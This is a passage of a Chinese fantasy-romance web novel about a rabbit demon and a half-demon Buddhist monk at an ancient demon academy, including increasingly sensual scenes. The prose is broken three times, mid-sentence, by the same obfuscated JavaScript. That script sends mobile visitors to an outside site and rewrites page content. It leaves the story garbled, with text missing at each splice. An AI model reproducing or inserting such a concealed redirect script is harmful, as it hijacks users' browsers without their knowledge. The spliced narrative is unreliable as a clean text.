“阿扶,醒了?” “在想什么?” 息尘带笑的声音将玉扶拉回了现实。 玉扶陡地缩回被窝,然后才复探出少女的娇靥。 她化形得太快,探出的半个肩身,无疑是十足有冲击力的小美人。 息尘被冲击得怔愣,非是没见过玉扶化形,而是,她与印象中的小兔形象愈发远,他心底也莫名地生出一种难以遏制的恐慌。 他希望她是可亲近的小兔,可又不受控地意识到阿扶是妖,还是足以撼人心神的妖。 阿扶,他总是不知该拿她如何是好。 他避开视线,试图从方方面面都与玉扶保持距离。 然不过是一个细微的动作罢了,玉扶还不曾敏锐到蛔虫的程度,她跳下床,凑到息尘面前,小声:“息尘,我要告诉你一个秘密!” 息尘不自然地微直了身,却仍旧不受控地被少女瞳仁中闪动光芒吸引,他轻易为她的秘密侧了耳。 温温的痒痒的,说话的吐息从耳廓一贯到了脖颈。 她说:“息尘,阿裴有时候是醒的。” 她在告密,在提醒息尘,阿裴那个坏蛋意识可能是清醒的。 然说完后,自己先心虚地缩了脖子,疑心这话也会被阿裴知晓。 可她就是故意的,她一点也招架不了坏蛋的阿裴,她和息尘在一起,总不能不看息尘,不与息尘说话,或是有一些意外吧。 但可想的,每一件极小的事,都可能被阿裴日后拿来与她算账。 既然如此,那她不如告密,让息尘想办法,就算是稍微让坏蛋不要什么都知道也行。 息尘脖颈绯红,喉结紧绷,垂眼间只庆幸玉扶低头太快,并不曾瞧见他的失态,他很小地退了一步,回答阿扶:“他很虚弱。” 玉扶豁地抬头,却只见息尘往外走的背影,唯不同的是,他耳朵怎么好红? 玉扶并没多疑惑地跟上,她还在想息尘说的话,阿裴在虚弱,所以,阿裴不会什么都知道。 玉扶该开心的,可她心里却跟被石头压住了一般,有些闷闷的。 一不留神,撞上了停下息尘后背。 好硬,鼻子也在发酸。 息尘下意识抬手,想为玉扶看看,却很快压下:“阿扶,你若还有想问的,便问吧。” 她的心思被看出来了,玉扶有些不好意思,盯着自己的脚尖,声小得如蚊蚋一般:“他很虚弱的话,会有事吗?” 问完,玉扶头低得更低了。 阿裴的时候,迫于阿裴的“淫”威,她几乎不会提及息尘,而息尘的时候,他的好心肠,总让她得寸进尺。 她明明是妖,可为什么还是会很羞愧,觉得很对不起息尘呢? 玉扶很厌烦这种心里沉沉的,喘息不过来的感觉,也是这时,息尘的声音响起: “阿扶,他不会有事。” “你......很喜爱......他吗?” 不该问的,可见她那样难过,息尘也不知何心理地,艰涩问了出来。 玉扶憋不住眼角红红地摇头,又不知该怎么表达地点头:“他是坏蛋,脾气一点也不好。” “但是,他没有扔下过我,他打败了蛮虎妖,还带我来妖神古墟,对我很多时候,也很大方。” “我不想喜欢他的。” “息尘你对我很好,我也很喜欢你,可是我一点也不好,我不帮你,还总是用妖当借口欺骗你。” “我不想骗你的。” “我心里好难受。” “你们不是一个人吗?为什么会这么不同呢?” “我想不明白。” 她的表达非常混乱,可也异常的直白,她不想喜欢阿裴,但已经接受了“他”,或许也该称作喜欢。 她也喜欢自己,可又觉得欺骗了自己。 息尘震撼得无以言表,既惊讶她对自己表达的喜欢,又怜惜她的为难,甚至生出了一丝不该有的喜悦。 但无论总总,总归不会是她的错,她只是一只懵懂的小兔妖,阿裴引诱了她,而他,于这一体的意识中,也有责。 “阿扶,莫哭了。”息尘终于撇弃矜持,为她拭泪:“我与他本就是一体分出的不同意识,你若有觉得为难,往后便把我与他当做一个人看待罢。” 玉扶蓦地止住了哭泣,一时难以从息尘的话中回神,她一直知晓息尘好心肠的,他就是好心肠才会被她赖上。 可也正因他的好心肠,玉扶才会于二者之间生了愧。 然,今日里,她第一次发现,与阿裴无下限的无耻相反的,息尘的好心肠也没有下限。 她只是心里实在闷闷的,一股脑地吐露,息尘竟然让她日后将他们当做一人看待。 可他们一点也不同,又要如何当做一人看待? 他是也可以给她亲亲吗?还是可以与她做更过分的事? 玉扶心荡神摇,渡情期的妖性迷离得又生出了饥饿感。 她一点自制力也没有,她被圣洁的息尘慈悲的大方纵容得想法更大胆了。 她咬住了下唇,不令妖性显露,可也因饥饿,阿裴留给她的一大团灵息,瞬间消化不少。 息尘没发觉玉扶的异样,昨日得到的“过”字玉牌飞出,已在提示着叩宫考核的开始。 当他们到时,昨日见过的没见过的妖修皆已到场。 毕竟是误入,息尘没有急切上前,而是坠在边缘处观察。 考官还未出现,多有相识的妖三五成群,相谈随意。 玉扶也在落后息尘一点的地方,四处张望。 形形色色的妖修,即便知晓他们已经死去,可听着他们的谈话,感受到他们的妖息,还是会觉得鲜活。 眼下,就有许多吸引玉扶的谈话: “这一关问心,勘测血脉,也不知哪位尊者把关?”有妖好奇。 也有妖傲气抱胸:“任是哪位,我等能被族中荐来,难道还过不了?” “倒是那些不知哪处旮旯角来的,血脉也就一般,也不知是怎么得到的妖神帖,白占了名额。” 有妖提醒:“尊者无处不在,圣者无所不感,你莫要乱说,小心问心一关不过!” 也有他们口中旮旯角来的妖兀自担忧:“我非大妖族,会不会入不了学宫?” “怎会?我等能得妖神帖,便说明与学宫有缘,问心能过,亦然能入选。” “实不行,便投天妖盟去。” …… 玉扶听得有意思极了,原来不知道多少万年前的妖修们是这样的啊,嗯,比想象中的有秩序多了,不乱打架,也不相互挖妖丹吞食,还要上学考试。 很像是人族修士中的门派。 不好的是,也太看中血脉了,玉扶有些担心息尘了,他是佛修诶,可以蒙混过关吗? 她揪了揪息尘的衣袍,传递着自己不安。 息尘捏了捏玉扶的手,对她笑着摇了摇头,以示安抚。 玉扶某种意义上也算是被安抚到了,她对着被息尘捏过的手出神,这种小动作玉扶是熟悉的,不过不是对息尘,而是对阿裴。 阿裴捏得会重一点,然后坏笑一点,用他的坏蛋盖过其他的威胁,身体力行地做到让玉扶只怕他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593226|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息尘以前的话,分明不会有这种动作,他一般是温柔地笑,然后摸摸她的脑袋。 虽然是很小的一点,可莫名的让玉扶感到了一点习惯上的重合。 也不知是不是她的错觉。 不过,很快玉扶就不纠结这点了,她见到了妖修们口中的尊者,是水族中老好人一样存在的鲸妖,她一出现,磅礴的水势跟同天上落下似的,险些要将所有妖冲走。 在场妖修不少被兜头冲了一浪水,清醒多了,怒的也有,但为入学宫,再大的火气也得压。 玉扶倒好,躲在息尘后,结界及时展开,还有闲心去看于水浪中显现的一道门。 白色浮雕,各种古怪妖形,盯久了,就像活过来一样。 息尘适时为玉扶挡了挡。 她听见有妖修开始提及那扇浮雕镂空的门:“是妖始门!” “过此门,妖祖亲鉴,资质上佳者,可直入同族尊者门下。” “不止,你忘了圣山还有唯剩的两位妖祖?若是能得那二位青眼,直入圣山也说不定。” …… 玉扶开始听不懂了,怎么一会妖祖亲鉴,一会又是唯剩的两位妖祖。 妖祖好像还怪忙的? 但随着踏入妖始门消失的妖越来越多,玉扶一边看一边偷听妖科普,也便慢慢懂了,圣山里的是活祖宗,妖始门上的是死祖宗。 都是妖道的始祖,但死去的,还留了魂念在附在门上发光发热,挑后继者。 不过,在知晓什么是昔日之境后,不管是活祖宗还是死祖宗,都差不离,只希望他们不要太挑毛病才好,她紧张地盯着息尘踏入。 甫一踏入,息尘便觉被什么触碰了,混乱腥煞之气冲击得他头昏脑涨,浑身肌肉紧绷,血脉中的妖性沸腾无比,不属他的那份凶性亟需发泄,恍若只有做些什么不可控之事方可平息。 但好在阿裴的虚弱,也好在他本就是佛修,对待此类心性被激发之时便有察觉,然毕竟是妖之考核,他不便用佛法心经压下暴虐,只于袖下捏紧了拳,全凭意志抵抗。 汗浸满了内衫,耳边恍若幻听般出现许多喁喁之声。 “我已激发了他最大的妖性,怎的,一点反应也没有?” “不好玩,不好玩,无趣极了。” “不如先前几个小子,令我等见识妖之极限。” 有妖声啐道:“就你连死了都光想着玩,莫忘了我等留魂念炼化入妖始门,是为挑选可扬我妖神一道传承的小辈。” “我观他心性上佳,血脉中凶戾爆发也不至失智,是个好苗子。” 又有奇状妖从浮雕中冒出,颈部延长地对息尘绕了个圈:“骨龄大了点,修为也不怎么样。” 浮雕中岔出另一脑袋,鼻翼不断嗅动:“味道有些熟悉。” 息尘仿佛被什么穿透一样,大颗汗珠自下颌滑落。 从他身上穿过的妖,尖叫大喊:“谁家的小蛇竟与人族结合!!” “此妖不能收!我妖族还不曾出过与低劣人族结合的叛类!” 此言一出,更多魂体一样的妖魄不断穿过息尘的身体,几乎将他里里外外看了个透,于极大的痛苦中,他竟能将这些妖魄的声音听得真切了几分: “圣山那两位怎可能有与人族结合的?” “他们最看中血脉,万年才得一个宝贝蛋,不可能有流落的血脉!” “那他这身上的半妖血脉又如何解释?” “莫吵了,依我看,就放他入门,若真是圣山那两位的血脉,也自有他们自家料理。” “有理,有理。” “放他过。” 48. 第 48 章 息尘被吐出了妖始门。 那些喁喁细声似还荡在耳边一般,令他思绪甚多,圣山竟与他的这半妖之身有联系吗? 妖王出自妖神古墟或许并非是假的。 那狐妖也是从妖王得知妖神古墟? 可亦有不对,时间对不上,妖神古墟是传说之地,与妖王根本不是同一时期的妖,如何对得上? 这当中必然还有缘故。 息尘平息下思绪,发现被妖始门吐出后,便已入了学宫内部,周旁是与他一般过关的妖修在调息。 他的状态竟然算得上是好的,有妖狂暴地变回了原形,四蹄皆在刨地,亦有妖癫癫地说着疯话…… 鲸妖尊者如慈和的母亲,一个一个妖看过去,掌下散出柔和的光,平息下他们暴动的妖血。 行到息尘跟前时,鲸妖尊者惊疑了一会,亦然帮他缓去身躯的不适:“小辈,你很特殊,不过,莫怕,学宫接受你。” 无论是人族还是妖族,对太过久远的妖神学宫记录几乎没有,息尘捺下探究的欲望,问道:“小辈有一妖侍如今还在外,不知该如何去接应?” 鲸妖尊者看了息尘一眼,很少有妖会这么关心自己的妖侍,她手指虚点,指尖跃出一条小水鱼:“跟它去罢。” 息尘谢过鲸妖尊者,小水鱼在空中游动,指引他去寻玉扶。 * 此时的玉扶还在山门外,息尘已经算是末尾进的妖始门了,他之后,外头的妖也越来越少。 玉扶不是真的妖侍,更不是这往昔之境中的一缕魂,同息尘分开越久,她便越感到一种恐慌。 她与这儿格格不入,一花一木,还有妖们,所有的所有瞧着是活的,可其实早就死了不知道多少万年。 她清楚知道这一点,然正因如此,入眼所见的鲜活,才愈发荒诞起来,有一瞬,她竟觉得自己错了,没有什么往昔之境,所有的生灵本就是活的,而她,也是其中一员。 玉扶这才意识到,往昔之境可怕的不是强大的妖兽,而是,同化。 潜移默化地融入,忘记来处,忘记要离开。 玉扶退在角落,蹲在地上,一遍一遍念叨:“我是玉扶,我有好多师姐,我在等息尘,我还要回家……” 小水鱼浮在玉扶身后,息尘的步子却没有跟上,少女寂寥的身影如尖刺扎入了心腔,汩汩流出的尽是自责,他不该不想到,玉扶的实力受到此地的影响会更大。 “阿扶。”息尘愧涩唤道。 玉扶倏地扭头,眸光瞬地闪亮,起身欢快奔来:“息尘,你出来了!你入选了是吗?” “你好厉害!” 她眸中全然的信任,烂漫得半点阴影也无。 可息尘并不能忘记先才一眼:“阿扶......你害怕了是吗?” “抱歉,只留下你。” 玉扶眨了眨眼,她的情绪总是来得快去得也快,很生气很生气的时候,也很少会想着一定要报复,其他情绪也一样,她方才是害怕了的,可是息尘一出现,她便不再觉得会被往昔之境同化。 因为息尘和阿裴都那么厉害,他们总不会扔下她。 她也没想过息尘会跟自己道歉、 从修为跌到只能勉强化形,再到入妖域,玉扶已经见到太多厉害的妖了。 尤其是这个什么往昔之境,更是得天独厚得,随便一个年岁不大的妖修血脉都强的很,修为化神都如同烂白菜一样不值钱。 她早就被打击得习惯得很了,而且,也认为,自己只用了几个月的时间,修为就快重新爬回元婴,也很厉害。 至于息尘暂时留下她去过妖始门,也是没办法的事,就算不为机缘,也总要能入学宫,才好接近圣山寻到离开的方法。 所以她根本不怪息尘,坏蛋的阿裴也留过她自己呢,而且更过分,不但时间更久,还关她来着。 佛修,果然都是心肠好的大呆瓜。 怎么能这么容易就心软,心疼,还与她道歉呢。 她会变坏的。 现在,她就很想提过分的要求,也无师自通地,好像就懂得了阿裴欺负她的乐趣—— 遍身矜贵慈悲的气质的息尘,他用那样漂亮的眸子歉疚地看她。 她想亲亲他。 这一刻,玉扶全然忘了阿裴对她的威胁,大胆得只想更接近息尘一点,她凑近一步,轻轻拉了他的一点袖袍,抬着眼问:“息尘,你很自责吗?” “不要自责,我可以原谅你的。” 可以原谅,而不是已经原谅,玉扶为自己的小心思心虚得发颤,可她没有退开眼,直面着息尘垂下的眼,绯红着脸庞说完了请求:“我想亲你一下,可以吗?” 息尘怔愣,瞳孔倏地缩紧,她的请求总是直白又大胆,但从她口中说出,又实难觉得过分,阿扶,她是小兔时就这样,要抱,要摸,需要人陪…… 亲亲的要求,对她而言,好像是再简单不过的事。 甚至,脑中画面里,阿裴也不时地会啄上她一口,她从不会拒绝,也自然极了接受。 可这当真对吗? 玉扶没有得到回应,低落地松了揪着息尘的衣袖:“没关系,息尘,就算你不让我亲亲,我也会原谅你的。” 息尘瞧见,被松开衣袖轻有微一点褶,莫名的,他觉得这褶不在衣袖上,而在他心里,他似乎总让阿扶失落。 他总拒绝她。 也无怪她会喜欢上另一个他。 比较的心念一闪而过,息尘终于在玉扶将将退开一步时出声:“可以。” 不止是玉扶,就连息尘,也惊讶自己退让的轻易。 玉扶是极会抓住机会的小兔,脚尖不消退开,顺势一踮,亲到了息尘脸颊,虽然很下方,也来不及感受,就往下滑。 可就是亲到了啊! 玉扶简直快乐死了,这还是她第一次亲到息尘,她嗓音都透着满意了的开怀:“我原谅你了,我一点也不怪你。” “我们是不是可以入学宫了?” “我还同你住一起吗?” 玉扶快乐得往前走了两步,她是妖嘛,就是非常容易为久得不到的触碰开心。 然而,她倏然发现息尘不是,他石化一般地还在原地。 霎时,玉扶发髻边的绒球都蔫了似的耷下,她低着头退回,不太高兴地道歉:“好吧,你不喜欢的话,我下次不这样了。” “阿扶,不是这样的。”少女唇瓣柔软的触感,只有一瞬,可也足以颠覆息尘的所有认知,他不是不喜,而是无措。 他无法言明,也不忍拂了玉扶的兴,一经开口,却又是一阵悔意。 只得走到玉扶的前头道:“走吧。” 玉扶小步地跟上,还是很不解,不是这样那是哪样啊? 她想不明白,还待问,却突然发现息尘的耳朵泛着红,啊,原来这是害羞的意思呀! 玉扶老实了很多,只在心底为自己的发现偷偷地笑。 * 当夜里,玉扶发现她储在神魂小兔中的灵息又消化了许多。 想是白日里她又动情了的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598907|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘故。 她叹息地翻了个身,不远便是打坐的息尘。 妖神学宫特别大,招生间隔久又严苛,很多妖修的父母,据说都是这时期数得出名号的大妖,他们生来血脉就强大、不凡,自然也各有各的脾性,故而,不同妖修的居所各有分布且独立。 息尘虽不是被举荐的,也还没有归属哪位尊者门下,可也没被亏待,可选独立的洞府。 不过,他们的存在本就如同昔日之境中异类,当他们参与入了古妖日常,他们便会被记住,可当他们不出现,似乎也没有妖在意。 基于这点发现,息尘选了个虽偏僻,却更适应人修的屋舍安定下来。 或是因白日里的影响,他不再放心玉扶于昔日之境中独处,默认了地许了玉扶与他赖在一块。 玉扶托着脸看他,脑中许久不打架的小兔子又冒了出来—— 理智小兔劝诫:“你不可以想息尘,他是佛修,不会回应你的。” 玉扶就想反驳:“哼哼,他让我亲了。” 理智小兔:“大坏蛋让你不许想旁人你忘了吗?” 玉扶:“息尘怎么会是旁人呢,他们分明是一体的。” 理智小兔:“大坏蛋一定会生气,会收拾你的!” “……” 玉扶不想要理智了,她是妖,妖就是这样的。 而且,她能感觉到,她很快就能恢复修为了,到时灵息定然消耗得更快。 还有,师姐们教给她的渡情期,根本不是这样总用灵息搔搔痒的,应该是更舒服的事才是。 玉扶颊靥红红地想起息尘的尾巴,然后强迫自己赶紧睡觉了。 她也要去学宫听课呢。 * 玉扶的动静并不大,但于强她许多的息尘感知里,一举一动都有着强烈的存在感。 他静不下心。 玉扶清浅的一吻,或许只是寻常的亲近,可他却如魔怔一般,于脑中重复到纤毫毕现。 不该如此。 一夜未眠,终是压下了不平静的心澜。 玉扶很早醒,她有发现,凭依着那座山重现的昔日之境,灵气浓郁,修炼可以更快。 她心满意足地吸纳完曦光中的精华,躲进了息尘的衣襟中,混入学宫听课。 适应她大小的结界将她的气息裹藏,第一课中讲的也不是什么高深术法之流,而是妖神学宫的建立史。 原来,在这么久远之前的妖神时期,大多妖皆是因血脉而天生强大,这是天地初辟的恩赐。 但也有一个致命的缺点,再强大的妖也极难向成神更迈一步,他们血脉中充满了暴戾,当他们为血脉与强大沾沾自喜之时,往往就是失智的开始。 他们会在追逐神格的路上,日渐蜕为没有理智的兽,最终死在同类的手下。 强大与保持神智成了所有妖相反的命题,追逐强大必将失智,选择维持妖的理智,那注定不能更向神迈进一步。 然真正的妖神,却是二者兼得的,他们拥有纯净而强大的血脉,也有着成神的智慧。 妖神始祖不愿自己的妖族继续这样痛苦挣扎下去,便建立了妖神学宫,助力有资质者,涤净血脉,剔除暴戾因子。 虽能成妖神者仍旧稀少,可蜕化成兽的,也确实越来越少了。 玉扶第一次系统地听这些,竟也不觉得乏味,同时地,也生出了些崇敬,如懂得了很多地连连点头。 感受着玉扶的反应,息尘无声笑了笑。 不着痕迹地又为她遮掩了探查。 49. 第 49 章 有人相伴,昔日之境也变得没有那样可怕。 玉扶开始意识到这于妖确实是可遇不可求的机缘,在这里能见到许许多多早已断绝的传承,不过,再眼红也带不走,大多本源神通都是跟着血脉种族走的。 就好比鲸妖尊者的千海神通,完整妖躯是鲸的形状,可却不存在血肉,取而代之的是汪洋一样的海,一方海域天地自内而生,可蕴生命。 这一神通,便只有同为水族且血脉相适的妖才有可能觉醒。 玉扶受到启发,开始寻找可适应自身觉醒的神通,同时,日日夜里都跑去偷泡可提升血脉的洗血池。 名字不太好听,但其实是乳白色的髓液池,此刻她就泡在池子里,小嘴叭叭地说个不停:“圣山真厉害,连洗血池都能复原出来。” 息尘“嗯”地回应了一声,并不再多话。 就连那一声“嗯”传到玉扶的耳里时,都微弱得要听不清,他坐得离玉扶实在太远了。 而且,还是背对着的。 玉扶闷闷地浸入池中,认为都是息尘坐得离她太远,她心里才不舒服。 但很快,她发现这种闷不单是来自心里,还来自身上,接连泡了好几日的洗血池,她体内终于开始了某种变化,血液的流速在增快,不断汇至胸腔,挤压,仿佛要生长出新的血肉,难受的很。 她于洗血池中扑腾,全身的灵力都被调动。 哗哗的水声不同寻常地翻腾。 息尘下意识扭头:“阿扶——” 只见池面全然没有玉扶的身影,只有不断翻涌的水花证明她在池中。 不消一瞬,息尘闪身池边,大手探下池底,捞出玉扶。 湿.透了的玉扶攀着息尘的小臂,仍然维持着人形,可她变得好奇怪,她一会想冲破修为界限,一会又想扩张血脉,灵力好像怎么都不能够。 她贪心得什么都不想放弃,也不能放弃,扩张的血脉让她痛,可她就是知道,若是停下,她以后就便与这机缘再无瓜葛,甚至还会变成再也进步不了的兔子。 她并不想成为止步化形的妖,那此时也必须冲破修为界限,去更好地承受血脉的扩张。 作为妖的天性里,她天然就知道怎么样才能变得更强,也非常清楚地感知到,阿裴留给她那团灵息消耗殆尽。 她还想要。 妖性令她的眼变得通红,冒出的兔耳湿淋淋发着颤,息尘捞出了她,她布满妖性的红瞳也锁定了他。 她已听不清他在说什么了,只能望见他滑动的喉结,诱人,想咬上一口。 几乎没有防备,息尘被玉扶拖入了水中。 少女柔软的身躯毫无羞耻可言地跨了上来:“阿裴,我好难受,帮帮我好不好?” 息尘是有力反抗的,但她贴在他的怀里哭,湿哒哒的手压在他胸前,就仿佛有千斤重一般再难推开。 他只能绷紧了全身地不去触碰,克制与她道:“阿扶,我不是他。” 玉扶泪雾濛濛地抬眼,却怎么都瞧不清息尘的模样。 无法,她蹭着他地上攀,饱满的唇瓣从他的下颌黏至颊畔才分开些。 她凑很近地捧起息尘的脸,似在辨认,然后毫无预料地,亲在了息尘的唇上,她的神魂小兔下意识地钻入了他的识海。 入侵的神魂小兔全然没有做客的自觉,它乱跑乱撞,贪食地夺走他的灵息。 玉扶满足地伸了.舌,全凭自己喜好地亲他,咬他。 不管是闯入的神魂小兔,还是少女的亲吻,完全超出了息尘过往的感知,他的身体变得僵硬,甚至有了无所适从的反应。 这是他的反应,但又不止是他的反应,从来没有一刻这样清楚地意识到自己也是妖,尾巴在兴奋,在身躯里叫嚣着想出来,想紧紧地缠住变得奇怪的少女,同她一起变得湿淋淋。 他控制着手上力气,推开了玉扶,重复:“阿扶,我不是他。” 他的目光依旧称得上清醒,可也只有他自己知晓,还是不一样了,他在提醒玉扶的同时,也幽晦地并不想被当做另一个他。 玉扶很不满被推开,黏腻的目光仍黏在息尘身上,她的神魂小兔吃了很多很多,可是他不让她碰他,她便不能通过接触汲取力量。 她的神魂小兔还在他的识海中。 玉扶满心只有这一个念头。 然,触及息尘沉静华美的面庞,她还是努力地运转了脑筋,不断想与他贴贴地道:“我知道啊,你是息尘。” “还是佛修。” 原来她都知道,息尘眼眸遽地缩紧,薄薄的唇更是抿成一线,他开始看不懂玉扶了,她似乎并不单纯。 清冷带着审度的目光激得玉扶一个哆嗦,他不慈悲的时候原来是这样的啊,清泠泠的,即便这样被她拖入了水中,也矜贵,圣洁得不可侵犯。 玉扶着迷了,她嘟起的唇又想亲亲:“不要推开我好不好......你不是答应要帮我的嘛......” 软软的声音带着祈求,息尘滑过她唇瓣的目色又凝了凝,推在她肩上的手终是失了力道,她轻易地将身体重新覆了上去。 相贴的温度令她发出喟叹的低吟,毫不犹豫地咬住了他的下唇,夺回的力量涌入身躯,更是极大的慰藉。 可这种舒适与纵容总是会让贪心的兔子得寸进尺。 她贴着他轻轻地蹭,埋在他颈窝里轻轻地摇头,甚至哭泣。 息尘实不知拿她如何是好,他已经令她予取予求了,她需要的灵息,更是源源不断地被她的功法掠夺。 她还有哪里不满足? 玉扶当然不满足,泣音连带着控诉,一会一会的:“你不喜欢我......不喜欢毛茸茸......还讨厌和我亲亲。” 她本就十分的娇气,控诉时更是楚楚可怜,可她无知无觉,根本不知道她此刻的模样有多诱人堕落,眼眸湖水一眼粼粼,颊靥艳色浮现,垂眼也避不开水波漾在她胸1脯的时隐时现。 可就这样躲不得地,她的控诉仍在:“你看你都不看我。” “我都好难受了,你不摸摸我......也不抱抱我......。” “我也不想这样,可我忍不住……”玉扶呜呜地哭:“不是你让我把你们当一人看待吗?” “那为什么还是什么都不让?” 她抬起的脸,漂亮懵懂极了,眉梢微微泛红,透出似有若无的天真。 息尘无法反驳,可抱一下,摸一下,她就会好受一些吗? 他一直克制垂落的手,缓缓覆上了玉扶的后腰,顺毛似的隔着湿透的衣裳于水中摸了摸她。 玉扶舒适得眯眼,体内躁动的妖血也像是在顺着指引归位,她好像倏地就清明了不少。 玉扶没有感觉错,息尘不再放任她的神魂小兔予取予求,她的神魂小兔随着纯净的灵息重新回到她的体内,一个个静心的法决涌入她眉心—— “阿扶,淫.欲之念不可过心,清静方可濯秽去浊,静心平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610691|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。” 玉扶:“……” 大呆瓜! 玉扶不满极了,佛修真是、真是一点也不有趣! 她震惊得都从放纵的妖性中惊醒了,掠夺来的大团大团灵息足以她轻松跨过修为界限,甫一恢复到元婴期的修为,她便专心于血脉的扩张。 可还是疼。 她从不知提升血脉是这样痛苦的事,筋络仿佛要被加快流速的血液冲破,蛛网一样裂痕占满了每一条经络,她用极大的意志力忍疼的同时,还要调动许许多多的灵力去支撑着筋络,不令断裂。 涔涔汗液的从她肌肤透出,白皙肌肤更显出易碎的透色,浑身恍似比池水还凉,触之心惊。 息尘担忧她的状态,短短的时辰里,不住想很多,自责很多,想是不是没让她的神魂小兔吃够,也想,是不是洗血池的效力对阿扶这样的小妖过强,还想,或许妖本就是不能以道德标准要求的…… 他从身上抽出一缕神魂,并指点入玉扶的额间,甫一进入,便被体型庞大一圈的神魂小兔扑到。 许是熟悉的气息,安抚了小兔,那圆滚滚的神魂小兔竟渐化出了少女的形态,与玉扶生得几乎一样,或者说,本就是玉扶,只是她元婴了,神魂更强的同时也更可控了变化。 也是这时,息尘方发现,玉扶体内情况并没有身躯反应出来的那样糟糕,冰凉的体温是因她的经络在重塑,缓缓淌动的血液,是她在适应全新的力量。 玉扶不好意思地将息尘扑倒,光亮亮一团的息尘在她主宰的世界里,她可以对他为所欲为。 她嘤嘤嘤地撒娇,就是不放开:“我就是太痛了,才想与你亲亲的。” 她在为自己解释,不希望息尘讨厌了她。 息尘:“嗯,我知道。” 他的神魂就如同他的人一般,圣洁,温暖得人眼泪又想冒出来:“那你会讨厌我对你这样那样吗?” 息尘沉默了。 有些放下的底线,似乎很难再提回去,他已经试过,却仍旧无法抵抗爱哭的小兔。 他是半妖,再也回不去纯粹的佛子,既阿扶不过是想要一些触碰而已,又何须制止? 又何必让她伤心? “阿扶,我并不讨厌。”息尘语调缓而轻柔,带着一种妥协了的宠溺。 可他忘了,玉扶是惯会得寸进尺的小兔。 而且这是玉扶的识海,她轻易就更能感受到他的包容,开心得想摇尾巴,她克制住了,可怜兮兮地蹭息尘的下颌:“那我还疼,好疼好疼。” 耍赖的小兔。 息尘知道。 他浅浅地叹息,玉扶却如同得到什么准许的信号,咬上了他的喉结。 然,不管是玉扶还是息尘都疏忽了神魂相交的致命触感,完完全全脱离肉,体的感官,如滋过的电流,一触即蔓延全身。 息尘的反应尤大,不止是并入玉扶识海的神魂,外面的身躯都一个激灵地颤动。 玉扶迷离噬咬息尘的喉结,她好像突然就了悟了阿裴为何会喜欢舔她的眼泪了,她能瞧见息尘绷紧了的肌肤泛出绯红,唇瓣还能感受到跳动的脉搏,甚至是,他溢出口的一点闷哼。 原来圣洁禁欲的息尘也是会变得奇怪的。 有趣得她又含了含。 灵牵动肉,肉.体又连动神魂,喉结在少女的亲弄中,滑动剧烈。 他意识到不能这样下去,阿扶过头了。 顷刻,他的神魂撤出了玉扶的识海。 50. [锁] [此章节已锁] 玉扶于洗血池中睁开了眼,周身灵气充盈,力量感漫布四肢百骸。 她没有第一时间去感受这些,而是张眼去寻了从她识海中跑掉的息尘。 他动作可真快,这就又留她一人泡在池子里了。 不过,玉扶的眼神也很快,捕到了他湿淋淋出池的模样,全身上下都淌着水,不知何时被她扯乱的衣襟,狼狈敞着一小片胸膛,结实的肌理在起伏。 玉扶脸颊都烫起来了,她微咬着唇,还是有些说不上来的不满,他们总这样,把她的兴致高高地吊起来后,又不给解决。 她修为恢复了,这种不满感更是成倍地放大。 她想起来,她就是元婴后,才有的渡情期反应,修为恢复,也代表着,接下来的很长时间,她都会更受这种情绪的困扰。 他们真坏,可又真的很美味。 强大得随便啃啃就好补。 眼见着息尘捏法决清爽周身,又离她好远,暂时安分地浸入了洗血池。 她在感受自身的变化,妖脉扩张了,修为方面,虽同是元婴,但明显更扎实了,力量也更充盈,最重要的是,她发现,她只能用来传传音听听声的小神通升级了,有了操控的能力。 以往她虽也能借助魂体小兔融入一些生灵,但只能跟随者生灵的主意识,连一只蝴蝶都操控不了,只能蝴蝶飞到哪,她就看到哪,但现在不一样了,她兴奋得觉得就算是一头牛她都能操控。 难怪越强大的妖,越想着提升血脉呢。 当即,她分出了一个魂体小兔,飘荡着贴近了息尘。 息尘总是不对她设防的,魂体小兔轻易融入他的身体,玉扶下了命令:“转过来。” 息尘转过来了,但不是被玉扶操控,她的魂体小兔就如蚍蜉撼树,根本影响不了他的意识,最后传递到的只是碎碎念的“转过来转过来转过来……” 也亏息尘心善,并不捏碎她聒噪的小兔,佛经万千,却好似没有一部可止被玉扶掀起的心澜。 一闭眼,便满是少女紧密拥向他的画面。 他无奈看向越发骄纵了的玉扶:“何事?” “我想看看你。”玉扶快乐地趴在池边,她触及了他也会变得奇怪的一面,不再觉得他不可侵犯,她想看息尘,也想息尘看着她。 坏心眼地还想从他身上看到更多被她牵动的情绪。 有趣,喜欢,所以,就是想这样做。 但她又是怂兔子,一将息尘闹得转过了身,便不再过分,提出的问都乖巧许多:“一直泡洗血池的话,我血脉能一直提升吗?” 